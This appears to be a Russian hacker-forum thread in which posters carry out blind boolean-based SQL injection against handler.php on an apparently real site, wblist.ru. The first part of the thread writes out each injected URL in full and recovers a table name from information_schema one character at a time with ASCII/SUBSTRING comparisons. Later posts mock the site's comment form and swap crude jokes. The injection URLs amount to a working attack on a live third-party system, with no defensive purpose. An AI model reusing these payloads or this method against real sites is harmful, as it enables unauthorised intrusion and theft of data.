Помогите "зеленому" с инъекцией!

Code:

http://wblist.ru/t3/handler.php?username=a'+OR+((SELECT%20table_name%20FROM%20information_schema.tables%20LIMIT%2015,1)='VIEWS')/*

знач 16 уже идёт табла чо нам нужна, пойду подбирать...
Да, я неумею юзать проги для слепых скулей

Code:

http://wblist.ru/t3/handler.php?username=a'+OR+(SELECT+LENGTH(table_name)+FROM+information_schema.tables+LIMIT+16,1)=5/*

5 символов в имени таблы

Code:

http://wblist.ru/t3/handler.php?username=a'+OR+ASCII(SUBSTRING((SELECT%20table_name%20FROM%20information_schema.tables%20LIMIT%2016,1),1,1))=102/*

f****

Code:

http://wblist.ru/t3/handler.php?username=a'+OR+ASCII(SUBSTRING((SELECT%20table_name%20FROM%20information_schema.tables%20LIMIT%2016,1),2,1))=105/*

fi***

Code:

http://wblist.ru/t3/handler.php?username=a'+OR+ASCII(SUBSTRING((SELECT%20table_name%20FROM%20information_schema.tables%20LIMIT%2016,1),3,1))=111/*

fio**

Code:

http://wblist.ru/t3/handler.php?username=a'+OR+ASCII(SUBSTRING((SELECT%20table_name%20FROM%20information_schema.tables%20LIMIT%2016,1),4,1))=105/*

fioi*

Code:

http://wblist.ru/t3/handler.php?username=a'+OR+ASCII(SUBSTRING((SELECT%20table_name%20FROM%20information_schema.tables%20LIMIT%2016,1),5,1))=113/*

табла fioiq, эмм...

не, точно fioiq

Code:

http://wblist.ru/t3/handler.php?username=a'+OR+((SELECT%20table_name%20FROM%20information_schema.tables%20LIMIT%2016,1)='fioiq')/*

Ну нафик, с такими таблами... пойду дальше работать
==
ТС, ты ещё тут? Как мозг?

 

тут были сиськи

 

и пиписки

 

Я плакать... Форма отправки коммента xD

Code:

		<input class=“input-text” type=“text” value="Имя"/>
		<input class=“input-text” type=“text” value="Отзыв"/>
		<input class=“input-text” type=“text” value="Фото (url)"/>
		<FORM>
		<input TYPE="button" VALUE=" Отправить " ONCLICK="HomeButton()"> <script>
		function HomeButton()
		{
		location.href="http://wblist.ru/t3";
		}
		</script>

 

о_О и отправляет?

 

Я сначала подумал, что Green Member'у нужна помощь в проведении скули :-DD

 

Аналагична.Я уже прбежал как главный реподрочер за гrинкой

 

/showpost.php?p=1424335&postcount=10326

И никаких блиндов не надо...

 

поигрались?
ТЕПЕРЬ

 

вышло обновление